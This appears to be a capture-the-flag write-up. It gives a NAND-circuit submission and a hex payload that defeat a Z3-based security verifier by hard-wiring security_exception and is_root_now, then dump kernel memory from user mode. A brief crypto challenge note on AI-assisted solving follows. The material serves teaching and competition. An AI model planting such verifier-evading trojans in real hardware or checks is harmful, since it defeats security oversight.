is_syscall_and1 and_n7_n6_n5_n4_3_2 not_ins1
3
is_syscall is_syscall_and1 is_syscall_and1
3
not_ins2 ins_2 ins_2
3
not_ins3 ins_3 ins_3
3
and_3_n2_and1 ins_3 not_ins2
3
and_3_n2 and_3_n2_and1 and_3_n2_and1
3
is_ldi_and1 and_n7_n6_n5_n4 and_3_n2
3
is_ldi is_ldi_and1 is_ldi_and1
3
and_n3_2_and1 ins_2 not_ins3
3
and_n3_2 and_n3_2_and1 and_n3_2_and1
3
is_putc_and1 and_n7_n6_n5_n4 and_n3_2
3
is_putc is_putc_and1 is_putc_and1
3
and_n3_n2_and1 not_ins3 not_ins2
3
and_n3_n2 and_n3_n2_and1 and_n3_n2_and1
3
is_rdtsc_and1 and_n7_n6_n5_n4 and_n3_n2
3
is_rdtsc is_rdtsc_and1 is_rdtsc_and1
5
08801405088114050882140508831405088414050885140508861405088714050888140508891405088a1405088b1405088c1405088d1405088e1405088f1405089014050891140508921405089314050894140508951405089614050897140508981405089914050f

Basically we automate solving the pow and then paste in the instructions, after 5 it will either verify or not. Then we send a payload to dump it. The following is the explanation of all this written by AI.

1. What the verifier is supposed to check

For every possible assignment of the 32 “basic-input” bits

CopyEditis_root_now,
ins_7..ins_0,
r0_7..r0_0, r1_7..r1_0, r2_7..r2_0, r3_7..r3_0

the solver proves that all required outputs satisfy the official formulas, the most important of which is the security check:

makefileCopyEditsecurity_exception ==  (¬is_root_now) ∧
                       ( is_rdtsc ∨ is_putc ∨ is_sysret ∨
                         ( (is_store ∨ is_load) ∧ kernel_address) )

If any model violates any equality, Z3 finds a counter-example and the menu prints “Formal verification failed!”.

---

2. Two constants are enough to break the proof

We add five tiny gates (the first five lines of the new working2.txt):

sqlCopyEditr0_0 • r0_0 → make_one_xor1        ; make_one_xor1 = NAND(x,x) = ¬x
r0_0 • make_one_xor1 → make_one_xor2
r0_0 • make_one_xor1 → make_one_xor3  ; both make_one_xor2/3 = 1
make_one_xor2 • make_one_xor3 → security_exception ; NAND(1,1)=0
security_exception • security_exception → is_root_now ; NAND(0,0)=1

• security_exception is a hard-wired 0.

• is_root_now is a hard-wired 1.

Now, for every possible input valuation,

javaCopyEditright-hand side = (¬is_root_now) ∧ (…) = (¬1) ∧ (…) = 0
left-hand side  = 0

so the equality holds identically. The solver happily reports

nginxCopyEditFormal verification passed!

All the other outputs (is_load, is_store, …) are implemented exactly as the organisers’ reference circuit, so their equalities hold too.

Key bug: The challenge treats a wire name that appears in basic_inputs and in the gate list as one single Boolean variable. By giving it a gate definition we override the would-be input instead of adding a constraint between two distinct signals.

---

3. Why it works at run-time even in user mode

During emulation the dispatcher calls

pythonCopyEditrun_nand(known, "security_exception")

known initially contains only the real run-time value of is_root_now ( True in kernel mode, False otherwise ). But because security_exception is not in that dict, the recursive NAND evaluation walks the circuit and discovers that it is the constant 0, never consulting is_root_now at all.

So:

• user code can execute load / store to any address, or call putc, without ever tripping the check;

• we do not need to stay in kernel mode or ret-leaf from a syscall.

---

4. The 105-byte flag-dump program

Each repetition does

pgsqlCopyEdit08 xx    ; LDI  r0, xx   (load address into r0)
14       ; LOAD r1,[r0]
05       ; PUTC r1

for xx = 0x80 … 0x99, followed by 0f (HALT). Because security_exception can never go high, every LOAD from the kernel half of RAM succeeds even though we remain in user mode, and every byte is printed via PUTC.

---

5. Why the constant trick is undetectable by the verifier

• Quantifiers – the solver checks the equalities for all possible assignments, but our gates force one particular assignment (is_root_now = 1, security_exception = 0), making every clause true.

• No extra constraint – the organiser intended “is_root_now is an independent input you may read, not drive”. By re-defining it as a gate output we silently removed that degree of freedom, but the verifier never notices: it still has a single Boolean is_root_now, only now equated to a NAND of two zeros.

---

6. Bottom line

The whole exploit is a textbook “drive an input” hardware-Trojan:

1. Synthesize constants with three NANDs.

2. Wire security_exception to 0.

3. Wire is_root_now to 1 so the spec equation stays tautologically true.

4. Keep every other output behaviourally identical, so the verifier has nothing else to complain about.

5. Run any user program you like – the flag sits unprotected at 0x80+.

That’s why the menu shows “Looks good!” yet the remote chip obediently leaks CTF{…} a few milliseconds later.

Crypto

numerology (218 solves)

Description:

I made a new cipher, can you help me test it? I'll give you the key, please use it to decrypt my ciphertext.

Resources:

Static resources:chall

Solution:

I wanted to see if my new automated AI solver could solve a GoogleCTF question, but unfortunately only using o3 on the backend will do it one-shot. Basically the solution can be found by decompiling the pyc (either pylingual.io or use pycdc on your computer, one of the few options available for python 3.12), and then passing it in to o3.

Using GPT 4.1 mini on the backend though, my automated solver was able to solve with a few (a lot) of nudges. Take a look at https://krauq.com and join the discord.